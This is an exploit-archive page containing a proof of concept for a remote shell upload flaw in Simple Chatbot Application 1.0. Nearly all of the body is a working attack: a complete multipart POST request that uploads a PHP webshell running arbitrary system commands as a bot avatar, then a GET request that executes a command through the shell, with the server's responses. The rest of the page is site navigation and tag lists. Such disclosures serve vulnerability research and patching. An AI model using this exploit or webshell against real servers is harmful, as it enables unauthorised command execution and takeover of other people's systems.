Home[1] Files[2] News[3] Contact[4] Add New[5]
- Simple Chatbot Application 1.0 Shell Upload[6]
- Authored by Saud Alenazi[7]
-
Simple Chatbot Application version 1.0 suffers from a remote shell upload vulnerability.
- MD5 |
496e3c1a6fdd0c52e04197b0bf576217 - Download[8] | Favorite[9] | View[10]
Change Mirror[11] Download[12]
# Exploit Title: Simple Chatbot Application 1.0 - Remote Code Execution (RCE)
# Date: 18/01/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14788/simple-chatbot-application-using-php-source-code.html
# Version: 1.0
# Tested on: XAMPP, Windows 10
# Exploit :
You can upload a php shell file as a bot_avatar or user_avatar or image
# ------------------------------------------------------------------------------------------
# POC
# ------------------------------------------------------------------------------------------
# Request sent as base user
POST /classes/SystemSettings.php?f=update_settings HTTP/1.1
Host: localhost.SA
Cookie: PHPSESSID=vgs6dm14ubfcmbi4kvgod1jeb4; _ga=GA1.2.1002000635.1642463002; _gid=GA1.2.990020096.1642463002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------55217074722533208072616276474
Content-Length: 1121
Connection: close
-----------------------------55217074722533208072616276474
Content-Disposition: form-data; name="name"
-----------------------------55217074722533208072616276474
Content-Disposition: form-data; name="short_name"
-----------------------------55217074722533208072616276474
Content-Disposition: form-data; name="intro"
-----------------------------55217074722533208072616276474
Content-Disposition: form-data; name="no_result"
-----------------------------55217074722533208072616276474
Content-Disposition: form-data; name="img"; filename=""
Content-Type: image/jpeg
-----------------------------55217074722533208072616276474
Content-Disposition: form-data; name="bot_avatar"; filename="bot_avatar.php"
Content-Type: application/octet-stream
<?php
if($_REQUEST['s']) {
system($_REQUEST['s']);
} else phpinfo();
?>
</pre>
</body>
</html>
-----------------------------55217074722533208072616276474
Content-Disposition: form-data; name="user_avatar"; filename=""
Content-Type: application/octet-stream
-----------------------------55217074722533208072616276474--
# Response
HTTP/1.1 200 OK
Date: Tue, 18 Jan 2022 00:51:29 GMT
Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/8.0.12
X-Powered-By: PHP/8.0.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 119
Connection: close
Content-Type: text/html; charset=UTF-8
1
# ------------------------------------------------------------------------------------------
# Request to webshell
# ------------------------------------------------------------------------------------------
GET /uploads/bot_avatar.php?s=echo+0xSaudi HTTP/1.1
Host: localhost.SA
Cookie: PHPSESSID=vgs6dm14ubfcmbi4kvgod1jeb4; _ga=GA1.2.1002000635.1642463002; _gid=GA1.2.990020096.1642463002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Connection: close
# ------------------------------------------------------------------------------------------
# Webshell response
# ------------------------------------------------------------------------------------------
HTTP/1.1 200 OK
Date: Tue, 18 Jan 2022 00:51:29 GMT
Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/8.0.12
X-Powered-By: PHP/8.0.12
Content-Length: 16
Connection: close
Content-Type: text/html; charset=UTF-8
<pre>0xSaudi
</pre>
File Tags
- ActiveX[18] (932)
- Advisory[19] (76,537)
- Arbitrary[20] (14,931)
- BBS[21] (2,859)
- Bypass[22] (1,516)
- CGI[23] (1,009)
- Code Execution[24] (6,446)
- Conference[25] (665)
- Cracker[26] (797)
- CSRF[27] (3,246)
- DoS[28] (21,520)
- Encryption[29] (2,319)
- Exploit[30] (49,107)
- File Inclusion[31] (4,119)
- File Upload[32] (933)
- Firewall[33] (821)
- Info Disclosure[34] (2,531)
- Intrusion Detection[35] (841)
- Java[36] (2,719)
- JavaScript[37] (787)
- Kernel[38] (5,893)
- Local[39] (13,887)
- Magazine[40] (586)
- Overflow[41] (12,011)
- Perl[42] (1,409)
- PHP[43] (5,024)
- Proof of Concept[44] (2,273)
- Protocol[45] (3,229)
- Python[46] (1,365)
- Remote[47] (29,318)
- Root[48] (3,419)
- Ruby[49] (563)
- Scanner[50] (1,627)
- Security Tool[51] (7,627)
- Shell[52] (3,013)
- Shellcode[53] (1,192)
- Sniffer[54] (877)
- Spoof[55] (2,062)
- SQL Injection[56] (15,858)
- TCP[57] (2,345)
- Trojan[58] (666)
- UDP[59] (865)
- Virus[60] (657)
- Vulnerability[61] (30,112)
- Web[62] (8,860)
- Whitepaper[63] (3,696)
- x86[64] (939)
- XSS[65] (17,200)
- Other[66]
File Archives
- January 2022[67]
- December 2021[68]
- November 2021[69]
- October 2021[70]
- September 2021[71]
- August 2021[72]
- July 2021[73]
- June 2021[74]
- May 2021[75]
- April 2021[76]
- March 2021[77]
- February 2021[78]
- Older[79]
Systems
- AIX[80] (423)
- Apple[81] (1,853)
- BSD[82] (368)
- CentOS[83] (54)
- Cisco[84] (1,909)
- Debian[85] (5,946)
- Fedora[86] (1,690)
- FreeBSD[87] (1,241)
- Gentoo[88] (4,148)
- HPUX[89] (875)
- iOS[90] (309)
- iPhone[91] (108)
- IRIX[92] (220)
- Juniper[93] (67)
- Linux[94] (41,268)
- Mac OS X[95] (682)
- Mandriva[96] (3,105)
- NetBSD[97] (255)
- OpenBSD[98] (476)
- RedHat[99] (10,907)
- Slackware[100] (941)
- Solaris[101] (1,601)
- SUSE[102] (1,444)
- Ubuntu[103] (7,568)
- UNIX[104] (9,007)
- UnixWare[105] (182)
- Windows[106] (6,248)
- Other[107]
- Services
- Security Services[118]
- Hosting By
- Rokasec[119]


